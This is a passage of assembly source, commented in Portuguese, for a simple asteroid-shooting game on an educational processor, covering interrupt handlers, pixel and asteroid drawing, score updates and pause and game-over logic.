MOVB R10, [R1] ; Obtem a coluna a ser carregada
CMP R10, R3 ; A tecla ainda está carregada?
JZ espera_retira_D ; Se sim continuamos à espera
esperaD:
MOV R3, 0
MOVB R10, [R1] ; Obtem a coluna a ser carregada
CMP R10, 2 ; A tecla foi carregada?
JNZ esperaD ; Se não continuamos à espera
resume_game: ; Caso contrário continuamos o jogo
CALL negative ; Voltamos a inverter o ecra de jogo para voltar ao normal
MOV R7, 1
MOV [R6], R7 ; Colocamos o valor do estado de jogo novamente a 1 (a decorrer)
JMP detect_l1 ; Voltamos a correr o programa como normalmente
;; FIM DE JOGO E REINÍCIO ;;
fim: ; Epilogo: O jogo nesta fase intermedia e um ciclo. Neste caso, chegamos a este ponto quando a pontuacao chegar a 100 ou mais.
MOV R6, game
MOV R7, 0
MOV [R6], R7 ; Atualiza o estado de jogo de volta a 0 (idle)
MOV R6, score
MOV R6, [R6]
CALL render_chess ; Padrao xadrez
MOV RL, 4 ; Compasso de espera
compasso_espera_2:
CMP RL, 0
JNZ compasso_espera_2
JMP reset ; E voltamos ao inicio do jogo!!
; ==========================================================================================================================================================
; ==================================================================================================================================================
; ================================================== Atendimento de Interrupções ==================================================
; ==================================================================================================================================================
; ==========================================================================================================================================================
int_prim: ; Atende a interrupção primária (INT0)
PUSH R0
PUSH R1
PUSH R2
PUSH R3
PUSH R4
PUSH R5
MOV R0, game ; Endereco do estado do jogo
MOV R0, [R0] ; Obtém o estado do jogo
CMP R0, 0 ; Se o jogo estiver parado (R0 = 0)
JZ score_blink ; Funcionalidade que pisca os displays.
CMP R0, 1 ; Se o jogo estiver a decorrer (R0 = 1)
JZ asteroide_clock
JMP rfe_0 ; Caso contrário devolvemos a interrupcao
; ESTADO DE JOGO IDLE ===========================================
score_blink: ; Efeito de piscar a pontuacao (balanca entre C e a pontuacao do ultimo jogo)
MOV R0, 0FFFH ; Comparação
CMP R10, R0 ; R10 atua como flag. Se R10 = 0FFFH (usamos estes valores porque geralmente não usamos o byte de maior peso), entao passamos do estado score -> CC
JZ case_1
NOT R0 ; NOT 0FFFH = 0F000H
CMP R10, R0 ; Se R10 = F000H (), passamos do estado CC -> score
JZ case_2
JMP rfe_0 ; Caso contrário terminamos o atendimento
case_1:
MOV R0, INPUT_SCORE ; Obtém o endereço dos displays
MOV R1, 0CCH ; Prepara o payload
MOVB [R0], R1 ; Injeta o valor "CC" nos displays
NOT R10 ; Invertemos o valor da chave para fazermos o procedimento inverso na proxima interrupcao
JMP rfe_0 ; Termina o atendimento e devolve
case_2:
MOV R0, INPUT_SCORE ; Endereço dos displays
MOV R1, score ; Endereco onde esta guardada a pontuaçao
MOV R1, [R1] ; Obtém a pontuação
MOVB [R0], R1 ; Injeta o valor do score nos displays
NOT R10 ; Invertemos o valor da chave para fazermos o procedimento inverso na proxima interrupcao
JMP rfe_0 ; Termina o atendimento e devolve
; ESTADO DE JOGO RUNNING ========================================
asteroide_clock:
MOV R0, ast_clock
MOV R1, [R0] ; Extrai o delay atual
CMP R1, 0 ; Se o delay já for zero, então podemos gerar um novo asteroide (e nao precisamos de mudar o estado do clock)
JZ asteroide_handler
SUB R1, 1 ; Senão diminui o delay em 1 unidade e volta a por no sitio
MOV [R0], R1
asteroide_handler:
; Só se conseguirmos gerar um novo asteroide é que resetamos o clock
MOV R0, asteroide ; Obtém o endereco dos asteroides
MOV R1, 0 ; Registo de offset
MOV R4, 100H
MOV R3, 300H
; Registo-limite
asteroide_update: ; Mover os asteroides já no mapa
MOV R2, [R0 + R1] ; Obtém o conteúdo (coordenada) do slot (R1 = 0, 8, 16, 24 ==> 1, 2, 3, 4 (a ==> (a/8) + 1)
CMP R2, -1 ; Se o slot não estiver vazio
JNZ asteroide_main ; Podemos atualizar o asteroide
analisa_slot:
CMP R1, R3 ; Se já tivermos analisado o quarto slot
JZ asteroide_empty_lookup ; Passamos a proxima fase
ADD R1, R4 ; Passa ao próximo slot (o equivalente a ADD R1, 8 - a questao aqui e que a notacao de complemento para dois nos obriga a esta abordagem)
JMP asteroide_update ; Recomeca o processo
asteroide_main:
PUSH R3
PUSH R4
PUSH R5
PUSH R6 ; Precisamos de registos auxiliares
PUSH R7
PUSH R0 ; Guardar o endereco original
PUSH R1
ADD R0, R1 ; Passamos a procurar o conteúdo miscelâneo do asteroide
MOV R3, [R0 + 2] ; Extraímos esse conteúdo (Velocidade Lateral, tipo, tamanho)
MOV R4, R3
MOV R5, R3 ; Copiamos essas informações para serem separadas
SHR R3, 8 ; 0LTS > 000L (R3 é a velocidade lateral)
SUB R3, 1 ; A velocidade lateral tem um offset de 1 para evitar manipular valores negativos (se L = 0, na realidade seria -1, e assim por diante)
SHL R4, 8 ; 0LTS > TS00
SHR R4, 12 ; TS00 > 000T (R4 é o tipo do asteroide)
SHL R5, 12 ; 0LTS > S000
SHR R5, 12 ; S000 > 000S (R5 é o tamanho do asteroide)
; Cálculo da coordenada Y
MOV R0, R2 ; Coloca o registo da posicao (formato xxyy) no registo R0, de onde a rotina xxyy_decode lê como argumento
CALL xxyy_decode ; Separa as coordenadas
ADD R2, 1 ; Desce o asteroide em 1 pixel
; Cálculo da coordenada X
MOV R6, 0 ; Registo que vai contabilizar o total de movimento lateral a aplicar
CMP RL, 0 ; Se o registo de direção estiver estabilizado
JZ add_linear ; Salta para adicionar a direcao linear natural do asteroide
MOV R7, SPEED_THRESHOLD_0
CMP R2, R7
JLE add_linear ; Se o asteroide estiver muito afastado, o RL nao fara diferenca
MOV R6, RL ; Caso contrário, fará. R6 será o simétrico.
NEG R6
MOV R7, SPEED_THRESHOLD_1
CMP R2, R7
JLE add_linear ; Se o asteroide estiver menos afastado, o RL fara alguma diferenca, mas nao mais do que aquilo que ja faz (1 pixel)
MOV R7, SPEED_THRESHOLD_2
CMP R2, R7
JLE case_rl_2 ; O asteroide esta perto
JMP case_rl_3 ; O asteroide esta perigosamente perto
case_rl_2:
MOV R7, 2
MUL R6, R7
JMP add_linear
case_rl_3:
MOV R7, 3
MUL R6, R7
add_linear:
ADD R6, R3 ; Adiciona a velocidade lateral natural do asteroides
ADD R1, R6 ; Adiciona a velocidade total à coordenada XX
CALL xxyy_encode ; Codifica as coordenadas em xxyy
MOV R7, R0 ; Transferir o resultado para R7
POP R1 ; Vamos buscar o conteudo de R1 que guardamos.
POP R0 ; Vamos precisar do R0 que guardamos antes
MOV [R0 + R1], R7 ; Injetar na memória
; Averiguar se há aumento de tamanho. R2 ainda retem a coordenada YY
MOV R5, 1
MOV R7, SIZE_THRESHOLD_2
CMP R2, R7
JLT finish
MOV R7, SIZE_THRESHOLD_3
CMP R2, R7
JLT case_sz_2
MOV R7, SIZE_THRESHOLD_4
CMP R2, R7
JLT case_sz_3
MOV R7, SIZE_THRESHOLD_5
CMP R2, R7
JLT case_sz_4
MOV R7, SIZE_THRESHOLD_6
CMP R2, R7
JLT case_sz_5
JMP case_sz_6
case_sz_2:
MOV R5, 2
JMP finish
case_sz_3:
MOV R5, 3
JMP finish
case_sz_4:
MOV R5, 4
JMP finish
case_sz_5:
MOV R5, 5
JMP finish
case_sz_6:
MOV R5, 6
finish: ; Juntar os componentes e terminar
;MOV R1, R6 ; Colocar o valor de R1 original no seu lugar
SHL R4, 4 ; 000T > 00T0
ADD R3, 1 ; Como anulamos o offset atrás, temos que o por no sítio de novo (LIFO)
SHL R3, 8 ; 000L > 0L00
OR R5, R4
OR R5, R3 ; Juntar os componentes de novo
ADD R0, 2 ; Passar a indexar a word onde esta este tipo de dados para este asteroide
MOV [R0 + R1], R5 ; Colocar a word nesse endereco
SUB R0, 2 ; Para não estragar os acessos à memória, voltamos a por o index como estava! ^-^
POP R7
POP R6
POP R5
POP R4
POP R3
JMP analisa_slot ; Restaurar registos e terminar
asteroide_empty_lookup:
MOV R4, ast_clock
MOV R5, [R4] ; Extrai o delay atual
CMP R5, 0 ; Se o delay ainda não for zero, então nao vale a pena, continuamos
JNZ missil_slide
MOV R1, 0
empty_lookup:
MOV R2, [R0 + R1] ; Obtém o conteúdo do slot (R1 = 0, 8, 16, 24 ==> 1, 2, 3, 4 (a ==> (a/8) + 1)
CMP R2, -1 ; Se o slot estiver vazio
JZ asteroide_gen ; Podemos gerar o asteroide
CMP R1, R3 ; Se já tivermos analisado o quarto slot
JZ missil_slide ; Então não podemos continuar, está tudo cheio. Passemos à próxima fase...
SUB R1, -8 ; Passa ao próximo slot (4 words = 8 bytes = 8 endereços)
JMP empty_lookup ; Recomeca o processo
asteroide_gen:
ADD R0, R1 ; Torna o offset "permanente"
MOV R1, 2011H ; Coordenadas iniciais do nosso asteroide
MOV [R0], R1 ; Injeta as coordenadas na memória para depois o processo principal tratar do resto
MOV R2, INPUT_SCORE ; Uma das maneiras de obter um número pseudo-aleatório é tentar ler de um periférico só de escrita
MOV R1, [R2] ; Obtém o nosso valor pseudo-random
MOV R2, R1 ; Copiar o valor para outro registo
MOV R3, 2
MOD R1, R3 ; Obtém o tipo de asteroide (0 = mau; 1 = bom)
MOV R3, 3
MOD R2, R3 ; Obtém a direção (0 = esquerda, 1 = em frente, 2 = direita) do asteroide
MOV R3, 1 ; Definição de um asteróide com 1 píxel de tamanho
SHL R1, 4 ; Colocar o nibble da direção o sítio (2o nibble de menor peso)
SHL R2, 8 ; Colocar o nibble do tipo no sítio (3o nibble de menor peso)
OR R3, R2
OR R3, R1 ; Juntar os três nibbles para obter o nosso asteroide
MOV [R0 + 2], R3 ; Colocar as especificações do asteroide no sítio
MOV R0, ast_clock
MOV R1, ASTEROIDE_DELAY
MOV [R0], R1 ; Recomeca o temporizador
missil_slide:
CMP RL, 0 ; Se a barra de direçao estiver estabilizada, devolve
JZ rfe_0
MOV R0, 100H ; o movimento é aplicado no eixo dos XX
MOV R1, missil ; Obtém a localização do míssi
MOV R3, [R1] ; Extrai as coordenadas do míssil
CMP R3, -1 ; Se o míssil não existir, terminamos a interrupcao
JZ rfe_0
PUSH RL ; Já que vamos usar este registo, usemos da precaução :^)
ADD R1, 1
MOVB R2, [R1] ; Extrai apenas a compnente YY do míssil
SUB R1, 1
PUSH R3
MOV R3, SPEED_THRESHOLD_2
CMP R2, R3 ; Se o míssil estiver dentro do threshold 3, três píxeis de deslocamento. Caso contrário, dois.
JGE mlspeed_3
mlspeed_2:
MOV R2, 2
JMP apply_missil_slide
mlspeed_3:
MOV R2, 3
apply_missil_slide:
POP R3
MUL RL, R0 ; Prepara o registo para ser aplicdo
MUL RL, R2
SUB R3, RL ; Aplica a velocidade lateral
MOV [R1], R3
POP RL
rfe_0:
POP R5
POP R4
POP R3
POP R2
POP R1
POP R0
RFE ; Devolve a interrupção
;========================================================================================================================================================================
int_sec: ; Atende a interrupção secundária (INT1)
PUSH R0
PUSH R1
PUSH R2
MOV R0, game ; Endereco do estado do jogo
MOV R0, [R0] ; Obtém o estado do jogo
CMP R0, 0 ; Se o jogo estiver parado (R0 = 0)
JZ flag_manip ; Manipulação da flag RL
CMP R0, 1 ; Se o jogo estiver a decorrer (R0 = 1)
JZ missil_handler ; Trata do míssil
JNZ rfe_1
flag_manip: ; Manipula a flag (RL) - usado para criar compassos de espera artificiais
CMP RL, 0 ; Se já estiver a zeros, termina
JZ rfe_1
SUB RL, 1 ; Decrementa o valor em 1
JMP rfe_1
missil_handler:
MOV R0, missil
MOV R1, [R0]
CMP R1, -1 ; Se o míssil estiver na coordenada "default", termina
JZ rfe_1
MOV R0, missil_range
MOV R1, [R0] ; Senão vemos se o míssil já está no fim do seu alcance (missil_range = 12)
MOV R2, 12
CMP R1, R2 ; Se o míssil já estiver no fim do seu alcance
JNZ missil_update
missil_reset:
MOV R2, 0
MOV [R0], R2 ; Colocamos estes valores de volta ao seu estado inicial
MOV R2, -1
MOV [R0 - 4], R2 ; Coloca a coordenada do míssil de volta ao default!
JMP rfe_1
missil_update:
ADD R1, 1
MOV [R0], R1 ; Define o novo alance percorrido em memória.
MOV R0, missil
MOV R1, [R0]
SUB R1, 1
MOV [R0], R1
rfe_1:
POP R2
POP R1
POP R0
RFE ; Devolve a interrupção
; ==========================================================================================================================================================
; ========================================================================================================================================================
; ===================================================== Subrotinas a executar ==============================================================
; ========================================================================================================================================================
; ==========================================================================================================================================================
; =============================================================================================
; === render_chess: Desenha um padrao xadrez no ecra. =====================
; === INPUTS: N/A =================
; === OUTPUTS: N/A =====================
; =============================================================================================
render_chess:
; Envia os registos que vamos usar para a pilha por precaucao
PUSH R0
PUSH R1
PUSH R2
PUSH R3
PUSH R4
PUSH R5
MOV R0, 55H ; Este valor e a "unidade base" para o padrao
MOV R1, 0 ; Contador local. Volta a zero a cada quatro bytes.
MOV R2, 0 ; Contador global. Para o ciclo no ultimo byte do ecra.
MOV R3, 4 ; Limite do contador local
MOV R4, 81H ; Limite do contador global
MOV R5, PIX_SCREEN
SUB R5, 1 ; Prepara o indexador da memoria do ecra
exe_render_chess:
NOT R0 ; Inverte o padrao
line:
ADD R1, 1 ; Atualiza contadores
ADD R2, 1
ADD RL, 1
ADD R5, 1
CMP R2, R4 ; Confirma se nao varremos ja o ecra todo
JZ return_render_chess ; Caso sim, termina o ciclo e restaura os registos
MOVB [R5], R0 ; Caso nao, injetamos o padrao no ecra
MOD R1, R3 ; Se estivermos no n-esimo byte, vai voltar a zero devido a mudanca de linha
JZ exe_render_chess ; volta ao inicio e inverte o padrao se mudarmos de linha
JMP line ; caso contrario, volta ao inicio sem mudar o padrao
; Restaura o valor original dos registos e continua o programa
return_render_chess:
POP R5
POP R4
POP R3
POP R2
POP R1
POP R0
RET
; =============================================================================================
; === render_empty: Limpa o ecra =====================
; === INPUTS: N/A =================
; === OUTPUTS: N/A =====================
; =============================================================================================
render_empty:
; Envia os registos a usar para a pilha por precaucao
PUSH R0
PUSH R1
PUSH R2
MOV R0, 0 ; Padrao a injetar
MOV R1, PIX_SCREEN ; Endereco do primeiro byte do ecra
SUB R1, 1
MOV R2, 807FH ; Limite global
exe_render_empty:
ADD R1, 1 ; Atualiza o endereco a editar (passa ao proximo byte)
MOVB [R1], R0 ; Injeta o byte no ecra
CMP R1, R2 ; Se o endereco for o ultimo:
JZ return_render_empty ; Para o ciclo e retoma a execucao prinicpal
JMP exe_render_empty ; Caso contrario volta ao inicio
; Restaura o valor original dos registos e continua o programa
return_render_empty:
POP R2
POP R1
POP R0
RET
; =============================================================================================
; === xxyy_decode: Separa uma word hexadecimal nas suas coordenadas X e Y ================
; === INPUTS: R0 - Valor Hexadecimal a separar =======
; === OUTPUTS: R1 - Coord. X; R2 - Coord. Y ================
; =============================================================================================
xxyy_decode:
; Esta rotina está desenhada para trabalhar em conjunção com a rotina exe_pixel. É da responsabilidade do programa principal/interrupcao gerir a pilha.
PUSH R0
MOV R1, R0 ; Cada registo recebe uma cópia do input
MOV R2, R0
SHR R1, 8 ; Para a coordenada X, passamos de XXYY a 00XX
SHL R2, 8
SHR R2, 8 ; Para a coordenada Y, passamos de XXYY a YY00 e depois a 00YY
MOV R0, 10H
SUB R1, R0
SUB R2, R0 ; Como a notação XXYY tem um offset de 10H, temos que anular esse offset.
POP R0
RET ; Devolve e continua a execução do scope superior
; =============================================================================================
; === xxyy_encode: Junta duas coordenadas X e Y numa única word ================
; === INPUTS: R1 - Coord. X; R2 - Coord. Y =======
; === OUTPUTS: R0 - Word em formato XXYY ================
; =============================================================================================
xxyy_encode:
PUSH R1
PUSH R2
MOV R0, 10H ; O formato XXYY tem um offset de 10H para poder gerir as coordenadas negativas até um certo ponto
ADD R1, R0
ADD R2, R0 ; Aplicamos o offset
SHL R1, 8 ; Colocamos o byte dos XX em maior peso
OR R1, R2 ; Juntamos os bytes
MOV R0, R1 ; Colocamos em R0
POP R2
POP R1
RET ; Devolve e continua a execução do scope superior
; =============================================================================================
; === exe_pixel: Escreve num pixel especifico ================
; === INPUTS: R0 - Valor; R1 - Coord. X; R2 - Coord. Y =======
; === OUTPUTS: R0 - Se o píxel estava dentro do ecrã. 1 Se sim, 0 se não ================
; =============================================================================================
exe_pixel:
; Envia os registos a usar para a pilha por precaucao
PUSH R1 ; Coordenada X (0 - 1FH)
PUSH R2 ; Coordenada Y (0 - 1FH)
PUSH R3
PUSH R4
PUSH R5
PUSH R0 ; Valor do pixel - Desligado se for 0, caso contrario ligado
; Verifica se as coordenadas estao dentro dos limites
; Se um número está entre 0 e 1FH (0000 0000b e 0001 1111b), entao os registos depois de um SHR de 5 bits são obrigatóriamente 0
MOV R4, R1 ; Cópia da coordenada X
MOV R5, R2 ; Cópia da coordenada Y
SHR R4, 5
JNZ skip_exe_pixel ; Se o valor depois do shift nao for zero entao a coordenada está out of bounds. Proceder à devolução da rotina
SHR R5, 5
JNZ skip_exe_pixel ; Se o valor depois do shift nao for zero entao a coordenada está out of bounds. Proceder à devolução da rotina
; Se os valores testados forem zero, continuamos
MOV R5, PIX_SCREEN ; Obter o endereco-base do ecra
MOV R3, R1 ; Uma copia da coordenada X
MOV R4, 8 ; Um byte tem oito bits
DIV R1, R4 ; Obtem o byte relativamente a linha (0 - 3)
MOV R4, 8
MOD R3, R4 ; Obtem o bit em relacao ao inicio do byte (0 - 7)
MOV R4, 4
MUL R2, R4 ; Obtem a linha (a partir da coordenada Y)
ADD R2, R1 ; Obtem o byte a aceder (0 - 7F)
ADD R2, R5 ; Obtem o endereco do byte a editar
MOV R1, mascaras ; Obter endereco onde esta a mascara
ADD R1, R3
MOVB R1, [R1] ; Obter a mascara
pix:
MOVB R4, [R2] ; Obter o byte original
CMP R0,0 ; Se o valor-argumento for igual a zero, desligar
JNZ on ; Caso contrario, ligar
off:
NOT R1 ; Inverter a mascara (0010 0000b passa a 1101 1111b)
AND R4, R1 ; A operacao AND com a mascara invertida garante que apenas o bit especificado e desligado
JMP inject_pixel ; Re-injetar o pixel e terminar
on:
OR R4, R1 ; A operacao OR com a mascara garante que apenas o bit especificado e ligado
inject_pixel:
MOVB [R2], R4 ; Injeta o bit modificado
MOV R5, 1 ; Indicação de que a rotina foi executada com sucesso
JMP return_exe_pixel ; Restaura o valor original dos registos e continua o programa
skip_exe_pixel:
MOV R5, 0 ; Indicação que a rotina NÃO foi executada
return_exe_pixel:
POP R0
MOV R0, R5 ; Colocar o valor final da execução em R0
POP R5
POP R4
POP R3
POP R2
POP R1
RET
; =============================================================================================
; === negative: Inverte todas as cores do ecra ================
; === INPUTS: N/A =======
; === OUTPUTS: N/A ================
; =============================================================================================
negative: ; Deve ser usado apenas com o jogo em pausa! ^.^
; Envia os registos a usar para a pilha por precaucao
PUSH R0
PUSH R1
PUSH R2
MOV R0, PIX_SCREEN ; Obter o endereco-base do ecra
MOV R2, 807FH ; Limite global
neg_byte:
MOVB R1, [R0] ; Pegamos no endereco e extraimos o byte dai
NOT R1 ; Inverte o padrão
MOVB [R0], R1 ; Volta a injetar o padrao invertido no ecra
CMP R0, R2 ; Já chegámos ao último byte do ecrã?
JZ return_negative ; Se sim, terminamos
ADD R0, 1 ; Passa ao proximo byte
JMP neg_byte ; Repete!
return_negative:
POP R2
POP R1
POP R0
RET
; =============================================================================================
; === update_handle: Atualiza a posicao do volante ================
; === INPUTS: RL - Direcao (-1 = Esq.; 0 = Est.; 1 = Dir.) =======
; === OUTPUTS: N/A ================
; =============================================================================================
update_handle:
; Envia os registos a usar para a pilha por precaucao
PUSH R0 ; ====
PUSH R1 ; Argumentos utilizados pela rotina exe_pixel
PUSH R2 ; ====
PUSH R3
PUSH R4
PUSH R5
PUSH RL
; "Mover" pixeis
MOV R3, wheel ; Inicializacao do endereco de memoria
ADD RL, 1 ; Adiciona 1 ao registo de direcao, para efeitos de acesso a memoria
ADD R3, RL ; Obtem o endereco a partir do qual vamos comecar a aceder. (wheel para D = -1; wheel + 1 para D = 0; wheel + 2 para D = 1)
MOVB R3, [R3] ; Obtem um byte que nos vai indicar como é que vamos manipular o volante
SHL R3, 8 ; Põe o byte em maior peso
MOV R1, 13
MOV R2, 28 ; Varrimento dos pontos (13, 28), (13, 29), (13, 30), (18, 28), (18, 29), (18, 30), com valores de acordo com a memoria
MOV R4, 31 ; Limite (exclusive o 31)
MOV R5, 18 ; Limite X (inclusive o 18)
MOV RE, 0 ; Desativa todas as flags
vertical_exe:
CMP R2, R4
JZ update_X
SHL R3, 1 ; Afasta o bit à esquerda
SHR RE, 2
MOV R0, RE ; Se o bit "eliminado" tiver sido 1, a flag CARRY ter-se-à ativado
CALL exe_pixel
ADD R3, 1
ADD R2, 1
JMP vertical_exe
update_X:
CMP R1, R5
JZ return_update_handle
MOV R1, R5
MOV R2, 28
JMP vertical_exe
return_update_handle:
; Restaura o valor original dos registos e continua o programa
POP RL
POP R5
POP R4
POP R3
POP R2
POP R1
POP R0
RET
; =============================================================================================
; === score_up: Aumenta a pontuação do jogador ================
; === INPUTS: R10 - A quantidade de pontos a aumentar. Injeta nos displays =======
; === OUTPUTS: [score] - A nova pontuação do jogador ================
; =============================================================================================
score_up:
PUSH R0
PUSH R1
PUSH R2
PUSH R3
MOV R0, score ; Memoria nao-periferica da pontuacao
MOV R1, [R0] ; Carrega a pontuacao anterior
ADD R1, R10 ; Aumenta a pontuacao em 3 pontos
MOV R2, R1 ; R2 = Dezenas; R1 = Unidades
SHR R2, 4 ; Elimina o nibble das unidades (ficamos so com as dezenas)
SHL R1, 12
SHR R1, 12 ; Elimina o nibble das dezenas (ficamos so com as unidades)
MOV R3, 0AH
CMP R1, R3 ; Se o nibble das unidades for < 10
JLT inject_score ; Injeta os nibbles
SUB R1, R3 ; Senão subtrai 10 ao nibble das unidades
ADD R2, 1 ; Adiciona 1 as dezenas
inject_score:
SHL R2, 4 ; Poe o nibble das dezenas em posicao
OR R1, R2 ; Junta os nibbles
MOV [R0], R1 ; Injeta a pontuacao nova na memoria
MOV R0, INPUT_SCORE
MOVB [R0], R1 ; Atualiza os desplays
return_score_up:
POP R3
POP R2
POP R1
POP R0
RET
; ==============================================================================================================================
; === exe_asteroide: Desenha ou apaga um asteroide no ecra ================
; === INPUTS: R8 - Endrecos do desenho (proc. principal) onde se encontram o asteroide e respetiva posição; R9 - On/Off =======
; === OUTPUTS: N/A ================
; ==============================================================================================================================
exe_asteroide:
PUSH R0 ; Vamos precisar destes registos para a rotina exe_píxel
PUSH R1
PUSH R2
PUSH R3 ; Registos auxiliares: R3 = Tamanho
PUSH R4 ; R4 = Tipo/ CRX
PUSH R5 ; R5 = CRY
PUSH R6 ; R6 = Flag de retorno
PUSH R7 ; R7&R8 = Pontos de permissão/Enderecos
PUSH R9 ; R9 = Ordem (On/Off)
PUSH R10 ; Registo para perceber se o asteroide se encontra inteiramente dentro do ecra
; O esquema do asteroide é dado por 0LTS - Velocidade Lateral, Tipo, Tamanho
MOV R10, 0 ; Vai-nos indicar se havia pelo menos uma parte do asteroide dentro do ecra
MOV R0, [R8]
CALL xxyy_decode ; Separa as coordenadas X e Y e coloca-as em R1 e R2, respetivamente
PUSH R8 ; Vamos estragar estes registos e vamos precisar dele mais tarde, provavelmente.
MOV R0, R9 ; Indica que vamos ligar ou desligar o conjunto de píxeis selecionados
; O anchor point do asteróide (onde se encontra o píxel que as coordenadas na memória apontam) encontra-se no canto inferior esquerdo.
; Isto quer dizer que os pixeis sao processados para a direita (XX positivo) e para cima (YY negativo)
MOV R3, [R8 + 2] ; Obtém o registo referente a características miscelaneas
MOV R4, R3 ; Cópia dos registos
SHL R3, 12 ; 0LTS > S000
SHR R3, 12 ; S000 > 000S (R3 é o tamanho do asteroide)
SHL R4, 8 ; 0LTS > TS00
SHR R4, 12 ; TS00 > 000T (R4 é o tipo de asteroide)
CMP R4, 2 ; Se o tipo for 2, então foi abatido
JZ exe_rekt
CMP R4, 1 ; Se o tipo for 1, então é bom
JZ exe_good
; Caso contário, o tipo é 0, e é mau.
; R4 e R5 passam a ser as coordenadas relativas de X e Y, respetivamente
exe_evil: ; O asteroide é mau
MOV R4, 1 ; Coordenada X relativa ao referencial do asteroide
MOV R5, 1 ; Coordenada Y relativa ao referencial do asteroide
CMP R3, 1
JZ case_1_pixel ; Se o tamanho do asteroide for 1 ou 2, o algoritmo "normal" nao vai funcionar
CMP R3, 2
JZ case_2_pixel
JMP case_default_pixel
case_1_pixel:
MOV R0, R9
CALL exe_pixel
MOV R10, R0
JMP return_exe_asteroide
case_2_pixel: ; Como o numero de pixeis é pequeno podemos fazer isto sequencialmente
MOV R0, R9
CALL exe_pixel ; Coordenadas (1,1)
OR R10, R0
MOV R0, R9
ADD R1, 1 ; Coordenadas (2,1)
CALL exe_pixel
OR R10, R0
MOV R0, R9
SUB R2, 1 ; Coordenadas (2,2)
CALL exe_pixel
OR R10, R0
MOV R0, R9
SUB R1, 1 ; Coordenadas (1,2)
CALL exe_pixel
OR R10, R0
JMP return_exe_asteroide ; É sempre importante manter o registo R0 atualizado porque a rotina exe_pixel devolve o estado de execucao
case_default_pixel:
CMP R5, 1 ; Se a coordenada relativa Y for 1 ou igual ao tamanho, vamos fazer uma linha nao completa
JZ semi_line
CMP R5, R3
JZ semi_line
JMP full_line ; Senão fazemos uma linha completa
semi_line: ; Mini-rotinas que só devem ser usadas dentro deste scope!
MOV R0, R9 ; Garantir que a ordem a dar e a definida
CMP R4, 1 ; Se o pixel for o primeiro ou ultimo da linha, saltamos
JZ pixel_skip_evil
CMP R4, R3
JZ pixel_skip_evil
CALL exe_pixel ; Senão desenha
OR R10, R0 ; O píxel foi desenhado?
;------------------------------
pixel_skip_evil:
ADD R4, 1 ; Avança no píxel horizontal
CMP R4, R3 ; Se relativamente ao referencial, for maior que o tamanho
JGT check_step_evil ; Muda de linha
ADD R1, 1 ; Senão aumenta a coordenada X real
JMP semi_line ; Repete o processo
full_line:
MOV R0, R9 ; Garantir que a ordem a dar e a definida (on sempre on, off sempre off)
CALL exe_pixel ; Desenha o píxel
OR R10, R0 ; O píxel foi desenhado?
;------------------------------
ADD R4, 1 ; Avança no píxel horizontal
CMP R4, R3 ; Se relativamente ao referencial, for maior que o tamanho
JGT check_step_evil ; Muda de linha
ADD R1, 1 ; Aumenta a coordenada X real
JMP full_line ; Repete o processo
check_step_evil:
CALL step_Y ; Atualiza a coordenada Y
CMP R6, 1
JZ return_exe_asteroide
JMP case_default_pixel
exe_good: ; O asteroide é bom
MOV R4, 1 ; Coordenada X relativa ao referencial do asteroide
MOV R5, 1 ; Coordenada Y relativa ao referencial do asteroide
MOV R7, 1 ; Definem os pontos na linha onde é permitido pintar o píxel
MOV R8, R3
exe_good_main: ; Ciclo principal
CMP R4, R7 ; Se o pixel for um dos permitidos, pintamos
JZ paint
CMP R4, R8
JZ paint
JMP pixel_skip_good ; Senão ignora e salta este píxel
paint:
MOV R0, R9 ; Garantir que a ordem a dar e a definida
CALL exe_pixel ; Pinta e continua
OR R10, R0 ; O píxel foi desenhado?
;------------------------------
pixel_skip_good:
ADD R4, 1 ; Avança no píxel horizontal
CMP R4, R3 ; Se relativamente ao referencial, for maior que o tamanho
JGT check_step_good ; Muda de linha
ADD R1, 1 ; Senão aumenta a coordenada X real
JMP exe_good_main ; Repete o processo
check_step_good:
CALL step_Y ; Atualiza a coordenada Y
CMP R6, 1 ; Se a flag de retorno estiver ativa
JZ return_exe_asteroide ; Terminamos
ADD R7, 1 ; Ajustamos as permissões de pintura de modo a originar uma cruz
SUB R8, 1
JMP exe_good_main ; Voltamos ao início
exe_rekt: ; O asteroide foi abatido por um missil
JMP return_exe_asteroide
step_Y:
ADD R5, 1 ; Aumenta a coordenada relativa de Y em 1
CMP R5, R3 ; Se a coordenada relativa já for maior que o tamanho
JGT return_flag ; Já está pronto, podemos terminar! ^.^
; Senão continuamos a atualizar variáveis.
SUB R2, 1 ; Diminui a coordenada real de Y (o referencial do asteroide é diferente do do ecrã!)
MOV R4, 1 ; Coordenada relativa de X a 1 de novo
SUB R1, R3 ; R1 ficaria agora a 1 = (Sx + 1) - XX
ADD R1, 1
MOV R6, 0 ; A flag de retorno é desativada
RET
return_flag:
MOV R6, 1 ; Ativa a flag, para indicar que já chegámos ao fim
RET
return_exe_asteroide: ; Restaurar os valores e devolver.
POP R8 ; Restauramos o nosso valor de R8
CMP R10, 0 ; O asteroide estava inteiramente ou parcialmente dentro do ecrã?
JNZ pop_exe_asteroide ; Entao devolvemos
MOV R0, -1 ; Senao apagamos o asteroide. Puff!
MOV [R8 - 4], R0 ; Posicao definido via interrupcao
MOV [R8], R0 ; Posicao do desenho
MOV R0, 0
MOV [R8 - 2], R0 ; Caracteristicas do asteroide
MOV [R8 + 2], R0 ; Caracteristicas do desenho
pop_exe_asteroide:
POP R10
POP R9
POP R7
POP R6
POP R5
POP R4
POP R3
POP R2
POP R1
POP R0
RET
; Btw bun is cool
| 42.47433 | 189 | 0.552076 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.